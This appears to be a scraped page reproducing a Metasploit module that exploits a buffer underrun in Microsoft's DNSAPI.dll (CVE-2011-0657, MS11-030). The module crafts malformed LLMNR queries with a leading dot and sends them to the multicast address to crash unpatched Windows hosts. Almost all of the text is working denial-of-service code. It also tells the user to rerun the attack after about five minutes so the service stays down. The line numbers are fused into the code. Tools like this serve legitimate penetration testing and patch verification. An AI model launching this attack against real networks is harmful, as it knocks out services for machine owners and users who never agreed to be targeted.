Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb
Views: 11789
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS',12'Description' => %q{13This module exploits a buffer underrun vulnerability in Microsoft's DNSAPI.dll14as distributed with Windows Vista and later without KB2509553. By sending a15specially crafted LLMNR query, containing a leading '.' character, an attacker16can trigger stack exhaustion or potentially cause stack memory corruption.1718Although this vulnerability may lead to code execution, it has not been proven19to be possible at the time of this writing.2021NOTE: In some circumstances, a '.' may be found before the top of the stack is22reached. In these cases, this module may not be able to cause a crash.23},24'Author' => 'jduck',25'License' => MSF_LICENSE,26'References' =>27[28[ 'CVE', '2011-0657' ],29[ 'OSVDB', '71780' ],30[ 'MSB', 'MS11-030' ]31],32'DisclosureDate' => 'Apr 12 2011')3334register_options(35[36Opt::RPORT(5355),37Opt::RHOST('224.0.0.252')38])39end4041def make_query(str)42pkt = ""4344# id45pkt << [rand(65535)].pack('n')4647# flags48pkt << [(49'0' + # qr50'0000' + # opcode51'0' + # conflict52'0' + # truncation53'0' + # tentative54'0000' + # zero (reserved)55'0000' # rcode56)].pack('B16')5758# counts59pkt << [1,0,0,0].pack('n*')6061if str[0,1] == "."62pkt << [str.length].pack('C')63end64pkt << str + "\x00"6566# type / class (PTR/IN)67pkt << [0x0c, 0x01].pack('n*')6869pkt70end717273def run74connect_udp7576# query7778# various compressed queries79#pkt << "\x03" + ("%d" % 192)80#pkt << "\x03" + "144" + "\x01" + "0" + "\x03" + "168" + "\x03" + "192"81#pkt << ("\x01" + '1') * 0x2082#pkt << "\x01" + '.'83#pkt << ("\x01\x2e") + "\x01" + "0"84#pkt << "\x07" + 'in-addr' + "\x04" + 'arpa' + "\x00"85#pkt << "\x03" + 'ip6' + "\x04" + 'arpa' + "\x00"86#pkt << ".e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f".gsub('.', "\x01") + "\x03ip6\x04arpa\x00"8788pkt = make_query(".1.1.ip6.arpa")89print_status("Sending Ipv6 LLMNR query to #{rhost}")90udp_sock.put(pkt)9192pkt = make_query(".1.1.in-addr.arpa")93print_status("Sending Ipv4 LLMNR query to #{rhost}")94udp_sock.put(pkt)9596print_status("Note, in a default configuration, the service will restart automatically twice.")97print_status("In order to ensure it is completely dead, wait up to 5 minutes and run it again.")9899disconnect_udp100end101end102103104